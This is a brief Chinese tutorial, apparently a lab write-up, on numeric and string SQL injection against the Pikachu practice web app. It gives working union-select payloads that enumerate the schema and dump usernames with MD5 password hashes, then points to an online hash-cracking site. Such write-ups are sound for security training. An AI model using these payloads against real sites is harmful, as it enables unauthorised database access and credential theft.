pikachu~~~数字型&字符型注入

让我们选择1-6的数字，并不能手动输入
选一个抓包
order by 判断有几列，发现没有第三列，那么查询语句只用了两个列名。

在后面加上 or 1=1，这样判断条件变成了永真，返回所有查询结果。
使用 union select database(),user() 爆破当前的数据名和当前的用户

union select TABLE_SCHEMA,table_name from information_schema.tables
where table_schema=‘pikachu’ 根据数据库名查询数据库中的表名

union select TABLE_NAME,COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_SCHEMA = ‘pikachu’ and TABLE_NAME = 'users’根据表名查询表中的列名
union select username,password from users查询users表中的用户名和密码字段。
用户名 admin

密码 e10adc3949ba59abbe56e057f20f883e

用户名 pikachu

密码 670b14728ad9902aecba32e22fa4f6bd

用户名 test

密码 e99a18c428cb38d5f260853678922e03

在线HASH解密解码网站地址：
http://tool.geekapp.cn/decrypt.php
支持md5,sha1,md5(md5()),sha1(sha1()) 等

字符型同理
只不过需要闭合符号